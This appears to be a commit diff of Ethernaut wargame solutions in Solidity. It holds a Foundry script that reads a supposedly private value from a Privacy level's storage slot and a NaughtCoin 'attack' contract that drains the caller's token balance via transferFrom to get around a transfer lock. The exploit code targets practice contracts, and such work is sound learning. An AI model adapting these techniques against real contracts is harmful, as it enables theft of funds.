lvl: naughtcoin

Author: ether-wan

script/Privacy/PrivacyUnlocker.sol

@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+import {Script} from "forge-std/Script.sol";
+import {console} from "forge-std/console.sol";
+
+contract PrivacyUnlocker is Script {
+
+    function run() external {
+
+        address levelInstance = 0xA0139e8cDC6611169F5DF7a78De94c31a80B5306;
+        uint dataSlot = 5;
+        bytes32 data;
+
+        data = vm.load(levelInstance, bytes32(dataSlot));
+
+        console.logBytes16(bytes16(data));
+    }
+}

src/NaughtCoin.sol

@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+interface IERC20 {
+    function transferFrom(address from, address to, uint256 value) external returns (bool);
+    function balanceOf(address account) external view returns (uint256);
+}
+
+contract NaughtCoin {
+
+    address target = 0xbb69f7f53c3f50633a1dFB009cA29d79f6f9BD8d;
+
+    constructor() {}
+
+    function attack() public {
+        uint256 balanceCaller = IERC20(target).balanceOf(msg.sender);
+        IERC20(target).transferFrom(msg.sender, address(this), balanceCaller);
+    }
+}